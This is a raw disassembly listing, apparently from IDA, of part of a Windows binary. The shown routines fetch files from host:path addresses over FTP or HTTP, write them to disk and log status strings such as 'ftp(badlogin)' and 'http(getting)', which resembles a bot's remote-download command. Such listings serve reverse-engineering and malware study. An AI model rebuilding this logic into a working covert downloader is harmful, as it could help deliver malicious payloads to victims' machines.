mov byte ptr [esp+128h+var_4], bl
call sub_401FBE
lea ecx, [esp+124h+var_DC]
push ecx
lea ecx, [edi+26h]
call sub_401FBE
lea edx, [esp+124h+var_C4]
lea ecx, [edi+65h]
push edx
call sub_401FBE
lea eax, [esi+69h]
lea ecx, [edi+7Ah]
push eax
call sub_401FBE
mov byte ptr [edi+8Fh], 0
mov byte ptr [edi+90h], 0
mov byte ptr [edi+91h], 0
mov cl, [esi+93h]
mov [edi+92h], cl
mov dl, [esi+94h]
mov ecx, edi
mov [edi+93h], dl
call sub_4013D4
loc_41C83C: ; CODE XREF: sub_41C610+C0j
lea ecx, [ebp+60h]
call sub_4017E4
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_41C9BB
push offset asc_443600 ; " "
lea eax, [esp+128h+var_F4]
push 1
push eax
mov ecx, esi
call sub_4016AE
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 9
push ecx
mov ecx, eax
call sub_401681
push eax
call sub_401938
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jnz loc_41D1A1
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401FBE
push offset asc_443C84 ; ":"
lea ecx, [esp+128h+var_10C]
call sub_401A9B
mov eax, [esp+124h+var_28]
lea ecx, [esp+124h+var_10C]
push eax
call sub_401140
lea ecx, [esp+124h+var_24]
push ecx
lea ecx, [esp+128h+var_DC]
call sub_401FBE
push 1
push offset asc_443600 ; " "
lea edx, [esp+12Ch+var_F4]
push 2
push edx
mov ecx, esi
call sub_4011EA
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 0Ah
call sub_401FBE
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
push 94h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 0Bh
jz short loc_41C94B
mov ecx, eax
call sub_4021C6
mov edi, eax
jmp short loc_41C94D
; ---------------------------------------------------------------------------
loc_41C94B: ; CODE XREF: sub_41C610+32Ej
xor edi, edi
loc_41C94D: ; CODE XREF: sub_41C610+339j
lea eax, [esp+124h+var_10C]
lea ecx, [edi+11h]
push eax
mov byte ptr [esp+128h+var_4], bl
call sub_401FBE
lea ecx, [esp+124h+var_DC]
push ecx
lea ecx, [edi+26h]
call sub_401FBE
lea edx, [esp+124h+var_C4]
lea ecx, [edi+65h]
push edx
call sub_401FBE
lea eax, [esi+69h]
lea ecx, [edi+7Ah]
push eax
call sub_401FBE
mov byte ptr [edi+8Fh], 1
mov byte ptr [edi+90h], 0
mov byte ptr [edi+91h], 0
mov cl, [esi+93h]
mov [edi+92h], cl
mov dl, [esi+94h]
mov ecx, edi
mov [edi+93h], dl
call sub_4013D4
loc_41C9BB: ; CODE XREF: sub_41C610+23Fj
lea ecx, [ebp+32h]
call sub_4017E4
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_41CBF6
push offset asc_443600 ; " "
lea eax, [esp+128h+var_F4]
push 1
push eax
mov ecx, esi
call sub_4016AE
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 0Ch
push ecx
mov ecx, eax
call sub_401681
push eax
call sub_401938
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jnz loc_41D1A1
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401FBE
push offset asc_443C84 ; ":"
lea ecx, [esp+128h+var_10C]
call sub_401A9B
mov eax, [esp+124h+var_28]
lea ecx, [esp+124h+var_10C]
push eax
call sub_401140
lea ecx, [esp+124h+var_24]
push ecx
lea ecx, [esp+128h+var_DC]
call sub_401FBE
push 1
push offset asc_443600 ; " "
lea edx, [esp+12Ch+var_F4]
push 2
push edx
mov ecx, esi
call sub_4011EA
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 0Dh
call sub_401FBE
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
push offset asc_443600 ; " "
lea eax, [esp+128h+var_F4]
push 3
push eax
mov ecx, esi
call sub_4016AE
push offset word_44758A
mov ecx, eax
mov byte ptr [esp+128h+var_4], 0Eh
call sub_401B72
test eax, eax
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
setz [esp+124h+var_111]
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jz short loc_41CB5E
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 4
call sub_4014B0
lea ecx, [esp+124h+var_C4]
mov byte ptr [esp+124h+var_4], 3
call sub_401226
lea ecx, [esp+124h+var_94]
mov byte ptr [esp+124h+var_4], 2
call sub_401226
lea ecx, [esp+124h+var_AC]
mov byte ptr [esp+124h+var_4], 1
call sub_401226
lea ecx, [esp+124h+var_DC]
mov byte ptr [esp+124h+var_4], 0
call sub_401226
lea ecx, [esp+124h+var_10C]
mov [esp+124h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_41D212
; ---------------------------------------------------------------------------
loc_41CB5E: ; CODE XREF: sub_41C610+4D6j
push 94h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 0Fh
jz short loc_41CB86
mov ecx, eax
call sub_4021C6
mov edi, eax
jmp short loc_41CB88
; ---------------------------------------------------------------------------
loc_41CB86: ; CODE XREF: sub_41C610+569j
xor edi, edi
loc_41CB88: ; CODE XREF: sub_41C610+574j
lea ecx, [esp+124h+var_10C]
mov byte ptr [esp+124h+var_4], bl
push ecx
lea ecx, [edi+11h]
call sub_401FBE
lea edx, [esp+124h+var_DC]
lea ecx, [edi+26h]
push edx
call sub_401FBE
lea eax, [esp+124h+var_C4]
lea ecx, [edi+65h]
push eax
call sub_401FBE
lea ecx, [esi+69h]
push ecx
lea ecx, [edi+7Ah]
call sub_401FBE
mov byte ptr [edi+8Fh], 0
mov byte ptr [edi+90h], 1
mov byte ptr [edi+91h], 0
mov dl, [esi+93h]
mov [edi+92h], dl
mov al, [esi+94h]
mov ecx, edi
mov [edi+93h], al
call sub_4013D4
loc_41CBF6: ; CODE XREF: sub_41C610+3BEj
lea ecx, [ebp+0BCh]
call sub_4017E4
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_41CD9B
push offset asc_443600 ; " "
lea ecx, [esp+128h+var_F4]
push 1
push ecx
mov ecx, esi
call sub_4016AE
lea edx, [esp+124h+var_7C]
mov ecx, eax
push edx
mov byte ptr [esp+128h+var_4], 10h
call sub_401681
push eax
call sub_401938
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jnz loc_41D1A1
lea eax, [esp+124h+var_52]
lea ecx, [esp+124h+var_AC]
push eax
call sub_401FBE
lea ecx, [esp+124h+var_3D]
push ecx
lea ecx, [esp+128h+var_94]
call sub_401FBE
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401FBE
lea eax, [esp+124h+var_24]
lea ecx, [esp+124h+var_DC]
push eax
call sub_401FBE
push 1
push offset asc_443600 ; " "
lea ecx, [esp+12Ch+var_F4]
push 2
push ecx
mov ecx, esi
call sub_4011EA
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 11h
call sub_401FBE
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
push 94h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 12h
jz short loc_41CD0E
mov ecx, eax
call sub_4021C6
mov edi, eax
jmp short loc_41CD10
; ---------------------------------------------------------------------------
loc_41CD0E: ; CODE XREF: sub_41C610+6F1j
xor edi, edi
loc_41CD10: ; CODE XREF: sub_41C610+6FCj
lea edx, [esp+124h+var_10C]
lea ecx, [edi+11h]
push edx
mov byte ptr [esp+128h+var_4], bl
call sub_401FBE
lea eax, [esp+124h+var_DC]
lea ecx, [edi+26h]
push eax
call sub_401FBE
lea ecx, [esp+124h+var_C4]
push ecx
lea ecx, [edi+65h]
call sub_401FBE
lea edx, [esp+124h+var_AC]
lea ecx, [edi+3Bh]
push edx
call sub_401FBE
lea eax, [esp+124h+var_94]
lea ecx, [edi+50h]
push eax
call sub_401FBE
lea ecx, [esi+69h]
push ecx
lea ecx, [edi+7Ah]
call sub_401FBE
mov byte ptr [edi+8Fh], 0
mov byte ptr [edi+90h], 0
mov byte ptr [edi+91h], 1
mov dl, [esi+93h]
mov [edi+92h], dl
mov al, [esi+94h]
mov ecx, edi
mov [edi+93h], al
call sub_4013D4
loc_41CD9B: ; CODE XREF: sub_41C610+5FCj
lea ecx, [ebp+118h]
call sub_4017E4
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_41CF40
push offset asc_443600 ; " "
lea ecx, [esp+128h+var_F4]
push 1
push ecx
mov ecx, esi
call sub_4016AE
lea edx, [esp+124h+var_7C]
mov ecx, eax
push edx
mov byte ptr [esp+128h+var_4], 13h
call sub_401681
push eax
call sub_401938
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jnz loc_41D1A1
lea eax, [esp+124h+var_52]
lea ecx, [esp+124h+var_AC]
push eax
call sub_401FBE
lea ecx, [esp+124h+var_3D]
push ecx
lea ecx, [esp+128h+var_94]
call sub_401FBE
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401FBE
lea eax, [esp+124h+var_24]
lea ecx, [esp+124h+var_DC]
push eax
call sub_401FBE
push 1
push offset asc_443600 ; " "
lea ecx, [esp+12Ch+var_F4]
push 2
push ecx
mov ecx, esi
call sub_4011EA
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 14h
call sub_401FBE
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
push 94h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 15h
jz short loc_41CEB3
mov ecx, eax
call sub_4021C6
mov edi, eax
jmp short loc_41CEB5
; ---------------------------------------------------------------------------
loc_41CEB3: ; CODE XREF: sub_41C610+896j
xor edi, edi
loc_41CEB5: ; CODE XREF: sub_41C610+8A1j
lea edx, [esp+124h+var_10C]
lea ecx, [edi+11h]
push edx
mov byte ptr [esp+128h+var_4], bl
call sub_401FBE
lea eax, [esp+124h+var_DC]
lea ecx, [edi+26h]
push eax
call sub_401FBE
lea ecx, [esp+124h+var_C4]
push ecx
lea ecx, [edi+65h]
call sub_401FBE
lea edx, [esp+124h+var_AC]
lea ecx, [edi+3Bh]
push edx
call sub_401FBE
lea eax, [esp+124h+var_94]
lea ecx, [edi+50h]
push eax
call sub_401FBE
lea ecx, [esi+69h]
push ecx
lea ecx, [edi+7Ah]
call sub_401FBE
mov byte ptr [edi+8Fh], 1
mov byte ptr [edi+90h], 0
mov byte ptr [edi+91h], 1
mov dl, [esi+93h]
mov [edi+92h], dl
mov al, [esi+94h]
mov ecx, edi
mov [edi+93h], al
call sub_4013D4
loc_41CF40: ; CODE XREF: sub_41C610+7A1j
lea ecx, [ebp+0EAh]
call sub_4017E4
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_41D1A1
push offset asc_443600 ; " "
lea ecx, [esp+128h+var_F4]
push 1
push ecx
mov ecx, esi
call sub_4016AE
lea edx, [esp+124h+var_7C]
mov ecx, eax
push edx
mov byte ptr [esp+128h+var_4], 16h
call sub_401681
push eax
call sub_401938
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jnz loc_41D1A1
lea eax, [esp+124h+var_52]
lea ecx, [esp+124h+var_AC]
push eax
call sub_401FBE
lea ecx, [esp+124h+var_3D]
push ecx
lea ecx, [esp+128h+var_94]
call sub_401FBE
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401FBE
lea eax, [esp+124h+var_24]
lea ecx, [esp+124h+var_DC]
push eax
call sub_401FBE
push 1
push offset asc_443600 ; " "
lea ecx, [esp+12Ch+var_F4]
push 2
push ecx
mov ecx, esi
call sub_4011EA
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 17h
call sub_401FBE
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
push offset asc_443600 ; " "
lea edx, [esp+128h+var_F4]
push 3
push edx
mov ecx, esi
call sub_4016AE
push offset word_44758A
mov ecx, eax
mov byte ptr [esp+128h+var_4], 18h
call sub_401B72
test eax, eax
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
setz [esp+124h+var_111]
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jz short loc_41D0EC
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 4
call sub_4014B0
lea ecx, [esp+124h+var_C4]
mov byte ptr [esp+124h+var_4], 3
call sub_401226
lea ecx, [esp+124h+var_94]
mov byte ptr [esp+124h+var_4], 2
call sub_401226
lea ecx, [esp+124h+var_AC]
mov byte ptr [esp+124h+var_4], 1
call sub_401226
lea ecx, [esp+124h+var_DC]
mov byte ptr [esp+124h+var_4], 0
call sub_401226
lea ecx, [esp+124h+var_10C]
mov [esp+124h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_41D212
; ---------------------------------------------------------------------------
loc_41D0EC: ; CODE XREF: sub_41C610+A64j
push 94h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 19h
jz short loc_41D114
mov ecx, eax
call sub_4021C6
mov edi, eax
jmp short loc_41D116
; ---------------------------------------------------------------------------
loc_41D114: ; CODE XREF: sub_41C610+AF7j
xor edi, edi
loc_41D116: ; CODE XREF: sub_41C610+B02j
lea eax, [esp+124h+var_10C]
lea ecx, [edi+11h]
push eax
mov byte ptr [esp+128h+var_4], bl
call sub_401FBE
lea ecx, [esp+124h+var_DC]
push ecx
lea ecx, [edi+26h]
call sub_401FBE
lea edx, [esp+124h+var_C4]
lea ecx, [edi+65h]
push edx
call sub_401FBE
lea eax, [esp+124h+var_AC]
lea ecx, [edi+3Bh]
push eax
call sub_401FBE
lea ecx, [esp+124h+var_94]
push ecx
lea ecx, [edi+50h]
call sub_401FBE
lea edx, [esi+69h]
lea ecx, [edi+7Ah]
push edx
call sub_401FBE
mov byte ptr [edi+8Fh], 0
mov byte ptr [edi+90h], 1
mov byte ptr [edi+91h], 1
mov al, [esi+93h]
mov [edi+92h], al
mov cl, [esi+94h]
mov [edi+93h], cl
mov ecx, edi
call sub_4013D4
loc_41D1A1: ; CODE XREF: sub_41C610+116j
; sub_41C610+295j ...
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 4
call sub_4014B0
lea ecx, [esp+124h+var_C4]
mov byte ptr [esp+124h+var_4], 3
call sub_401226
lea ecx, [esp+124h+var_94]
mov byte ptr [esp+124h+var_4], 2
call sub_401226
lea ecx, [esp+124h+var_AC]
mov byte ptr [esp+124h+var_4], 1
call sub_401226
lea ecx, [esp+124h+var_DC]
mov byte ptr [esp+124h+var_4], 0
call sub_401226
lea ecx, [esp+124h+var_10C]
mov [esp+124h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
loc_41D212: ; CODE XREF: sub_41C610+549j
; sub_41C610+AD7j
mov ecx, [esp+124h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 114h
retn 4
sub_41C610 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 310h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41D540 proc near ; CODE XREF: sub_401B36j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41D540
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401424
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_401424
lea ecx, [esi+2Ah]
mov byte ptr [esp+14h+var_4], 1
call sub_401424
lea ecx, [esi+3Fh]
mov byte ptr [esp+14h+var_4], 2
call sub_401424
lea ecx, [esi+58h]
mov byte ptr [esp+14h+var_4], 3
call sub_401424
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_41D540 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41D5D0 proc near ; CODE XREF: sub_4014B0j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41D5D0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+58h]
mov [esp+14h+var_4], 3
call sub_401226
lea ecx, [esi+3Fh]
mov byte ptr [esp+14h+var_4], 2
call sub_401226
lea ecx, [esi+2Ah]
mov byte ptr [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+15h]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_41D5D0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41D670 proc near ; CODE XREF: sub_4021C6j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41D670
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401E6A
lea ecx, [esi+11h]
mov [esp+14h+var_4], 0
call sub_401424
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_401424
lea ecx, [esi+3Bh]
mov byte ptr [esp+14h+var_4], 2
call sub_401424
lea ecx, [esi+50h]
mov byte ptr [esp+14h+var_4], 3
call sub_401424
lea ecx, [esi+65h]
mov byte ptr [esp+14h+var_4], 4
call sub_401424
lea ecx, [esi+7Ah]
mov byte ptr [esp+14h+var_4], 5
call sub_401424
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E0D0
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_41D670 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41D730: ; CODE XREF: ___:00401168j
; ___:loc_4019E7j
push esi
mov esi, ecx
call sub_4015C3
test byte ptr [esp+8], 1
jz short loc_41D748
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_41D748: ; CODE XREF: ___:0041D73Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41D760 proc near ; CODE XREF: sub_4015C3j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41D760
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
mov dword ptr [esi], offset off_43E0D0
lea ecx, [esi+7Ah]
mov [esp+14h+var_4], 5
call sub_401226
lea ecx, [esi+65h]
mov byte ptr [esp+14h+var_4], 4
call sub_401226
lea ecx, [esi+50h]
mov byte ptr [esp+14h+var_4], 3
call sub_401226
lea ecx, [esi+3Bh]
mov byte ptr [esp+14h+var_4], 2
call sub_401226
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+11h]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_402031
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_41D760 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_41D830 proc near ; CODE XREF: sub_401C80j
var_44 = dword ptr -44h
var_3C = byte ptr -3Ch
var_30 = dword ptr -30h
var_28 = byte ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_14 = byte ptr 18h
arg_20 = byte ptr 24h
arg_24 = byte ptr 28h
arg_38 = byte ptr 3Ch
arg_44 = byte ptr 48h
arg_110 = byte ptr 114h
arg_120 = byte ptr 124h
arg_130 = byte ptr 134h
arg_1110 = dword ptr 1114h
arg_1114 = byte ptr 1118h
arg_1130 = dword ptr 1134h
arg_1138 = dword ptr 113Ch
arg_1144 = byte ptr 1148h
arg_1150 = dword ptr 1154h
; FUNCTION CHUNK AT 0041DF4B SIZE 0000001B BYTES
push 0FFFFFFFFh
mov eax, large fs:0
push offset loc_43B0F2
push eax
mov eax, 1158h
mov large fs:0, esp
call sub_436840
push ebx
push ebp
push esi
mov esi, ecx
push edi
push offset byte_446F60
lea edi, [esi+11h]
mov ecx, edi
call sub_4012EE
test eax, eax
jz loc_41DF38
lea ebx, [esi+65h]
push offset byte_446F60
mov ecx, ebx
call sub_4012EE
test eax, eax
jz loc_41DF38
lea ecx, [esi+26h]
push offset byte_446F60
call sub_4012EE
test eax, eax
jz loc_41DF38
mov al, [esi+91h]
test al, al
jz short loc_41D8D1
push offset byte_446F60
lea ecx, [esi+3Bh]
call sub_4012EE
test eax, eax
jz short loc_41D8C4
push offset byte_446F60
lea ecx, [esi+50h]
call sub_4012EE
test eax, eax
jnz short loc_41D8D1
loc_41D8C4: ; CODE XREF: sub_41D830+81j
mov [esp+1Ch+var_8], esi
lea eax, [esp+1Ch+var_8]
jmp loc_41DF40
; ---------------------------------------------------------------------------
loc_41D8D1: ; CODE XREF: sub_41D830+70j
; sub_41D830+92j
push offset asc_443C84 ; ":"
lea ecx, [esp+20h]
push 1
push ecx
mov ecx, edi
call sub_4016AE
push offset byte_446F60
mov ecx, eax
mov [esp+20h+arg_1150], 0
call sub_4012EE
lea ecx, [esp+1Ch]
mov ebp, eax
mov [esp+1Ch+arg_1150], 0FFFFFFFFh
call sub_401226
test ebp, ebp
jz short loc_41D95E
push offset asc_443C84 ; ":"
lea edx, [esp+20h]
push 1
push edx
mov ecx, edi
call sub_4016AE
mov ecx, eax
mov [esp+1Ch+arg_1150], 1
call sub_4017E4
push eax
call near ptr 77C1BF18h
nop
add esp, 4
lea ecx, [esp+1Ch]
mov ebp, eax
mov [esp+1Ch+arg_1150], 0FFFFFFFFh
call sub_401226
test ebp, ebp
jnz short loc_41D96F
loc_41D95E: ; CODE XREF: sub_41D830+E3j
mov al, [esi+91h]
neg al
sbb eax, eax
and al, 0C5h
add eax, 50h
mov ebp, eax
loc_41D96F: ; CODE XREF: sub_41D830+12Cj
push offset asc_443C84 ; ":"
lea ecx, [esp+20h+arg_14]
push 0
push ecx
mov ecx, edi
call sub_4016AE
lea edx, [esp+1Ch+arg_14]
mov ecx, edi
push edx
mov [esp+20h+arg_1150], 2
call sub_401FBE
lea eax, [esp+1Ch+arg_44]
push 104h
push eax
mov ecx, ebx
call sub_4017E4
push eax
nop
call near ptr 27F0000h
lea ecx, [esp+28h+arg_38]
push ecx
mov ecx, ebx
call sub_4015D7
mov al, [esi+91h]
test al, al
jz loc_41DB04
call sub_401E06
; ---------------------------------------------------------------------------
lea edx, [esp+28h+var_14]
mov ecx, edi
push edx
call sub_4017E4
push eax
call sub_401A69
; ---------------------------------------------------------------------------
add esp, 8
test eax, eax
jnz short loc_41DA1C
lea ecx, [esi+7Ah]
call sub_401681
mov cl, [esi+92h]
push eax
mov al, [esi+93h]
push offset aFtpBadconnect ; "ftp(badconnect)"
push eax
push ecx
mov ecx, offset byte_4D60A5
call sub_401118
mov [esp+28h+var_18], esi
lea edx, [esp+28h+var_18]
jmp loc_41DF17
; ---------------------------------------------------------------------------
loc_41DA1C: ; CODE XREF: sub_41D830+1B7j
mov eax, [esp+28h+var_14]
lea ecx, [esi+50h]
push eax
call sub_4017E4
push eax
lea ecx, [esi+3Bh]
call sub_4017E4
push eax
call sub_402243
add esp, 0Ch
test eax, eax
jnz short loc_41DA73
lea ecx, [esi+7Ah]
call sub_401681
mov cl, [esi+93h]
mov dl, [esi+92h]
push eax
push offset aFtpBadlogin ; "ftp(badlogin)"
push ecx
push edx
mov ecx, offset byte_4D60A5
call sub_401118
lea eax, [esp+28h+var_18]
mov [esp+28h+var_18], esi
push eax
jmp loc_41DF18
; ---------------------------------------------------------------------------
loc_41DA73: ; CODE XREF: sub_41D830+20Dj
lea edi, [esi+7Ah]
mov ecx, edi
call sub_401681
mov cl, [esi+93h]
mov dl, [esi+92h]
push eax
push offset aFtpGetting ; "ftp(getting)"
push ecx
push edx
mov ecx, offset byte_4D60A5
call sub_401118
mov eax, [esp+28h+var_14]
lea ecx, [esi+26h]
push eax
push 49h
call sub_4017E4
push eax
mov ecx, ebx
call sub_4017E4
push eax
call sub_4016A9
add esp, 10h
test eax, eax
jnz short loc_41DAF2
mov ecx, edi
call sub_401681
mov cl, [esi+93h]
mov dl, [esi+92h]
push eax
push offset aFtpBaddl ; "ftp(baddl)"
push ecx
push edx
mov ecx, offset byte_4D60A5
call sub_401118
lea eax, [esp+28h+var_18]
mov [esp+28h+var_18], esi
push eax
jmp loc_41DF18
; ---------------------------------------------------------------------------
loc_41DAF2: ; CODE XREF: sub_41D830+28Dj
mov ecx, [esp+28h+var_14]
push ecx
call sub_401D52
add esp, 4
jmp loc_41DD7B
; ---------------------------------------------------------------------------
loc_41DB04: ; CODE XREF: sub_41D830+195j
lea ecx, [esp+28h+arg_20]
call sub_401424
lea ecx, [esp+28h+var_C]
mov [esp+28h+arg_1144], 3
call sub_401424
push ebp
mov ecx, edi
mov [esp+2Ch+arg_1144], 4
call sub_4017E4
push eax
call sub_401A8C
mov ebx, eax
add esp, 8
cmp ebx, 0FFFFFFFFh
mov [esp+28h+var_14], ebx
jnz short loc_41DB87
lea ecx, [esi+7Ah]
call sub_401681
mov dl, [esi+93h]
push eax
mov al, [esi+92h]
push offset aHttpBadconnect ; "http(badconnect)"
push edx
push eax
mov ecx, offset byte_4D60A5
call sub_401118
lea ecx, [esp+28h+var_18]
mov [esp+28h+var_18], esi
push ecx
mov ecx, offset byte_4E6ECB
call sub_40120D
; ---------------------------------------------------------------------------
db 53h
dd 69BAB8E8h, 0BEE99071h
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_41DB87: ; CODE XREF: sub_41D830+310j
push ebp
mov ecx, edi
call sub_4017E4
push eax
lea ecx, [esi+26h]
call sub_4017E4
push eax
lea edx, [esp+30h+arg_24]
push offset aGetSHttp1_0Con ; "GET %s HTTP/1.0\r\nConnection: Keep-Alive"...
push edx
call sub_40102D
add esp, 14h
lea ecx, [esp+24h+arg_24]
push 0
call sub_4013D9
push eax
lea ecx, [esp+2Ch+arg_24]
call sub_4017E4
push eax
push ebx
call near ptr 71AB428Ah
nop
lea edi, [esi+7Ah]
mov ecx, edi
call sub_401681
mov cl, [esi+92h]
push eax
mov al, [esi+93h]
push offset aHttpGetting ; "http(getting)"
push eax
push ecx
mov ecx, offset byte_4D60A5
call sub_401118
push offset aWb ; "wb"
lea ecx, [esi+65h]
call sub_4017E4
push eax
call near ptr 77C3F010h
nop
mov ebx, eax
add esp, 8
test ebx, ebx
jnz short loc_41DC80
mov ecx, edi
call sub_401681
mov dl, [esi+93h]
push eax
mov al, [esi+92h]
push offset aHttpBadopen ; "http(badopen)"
push edx
push eax
mov ecx, offset byte_4D60A5
call sub_401118
lea ecx, [esp+34h+var_24]
mov [esp+34h+var_24], esi
push ecx
mov ecx, offset byte_4E6ECB
call sub_40120D
; ---------------------------------------------------------------------------
lea ecx, [esp+34h+var_18]
mov byte ptr [esp+34h+arg_1138], 3
call sub_401226
lea ecx, [esp+34h+arg_14]
mov byte ptr [esp+34h+arg_1138], 2
call sub_401226
lea ecx, [esp+34h]
mov [esp+34h+arg_1138], 0FFFFFFFFh
call sub_401226
jmp loc_41DF4B
; ---------------------------------------------------------------------------
loc_41DC80: ; CODE XREF: sub_41D830+3DBj
; sub_41D830+484j ...
mov eax, [esp+34h+var_20]
push 0
lea edx, [esp+38h+arg_130]
push 1000h
push edx
push eax
call near ptr 71AB615Ah
nop
mov ebp, eax
test ebp, ebp
jle short loc_41DCF8
cmp ebp, 1000h
jge short loc_41DCB0
mov [esp+ebp+44h+arg_120], 0
loc_41DCB0: ; CODE XREF: sub_41D830+476j
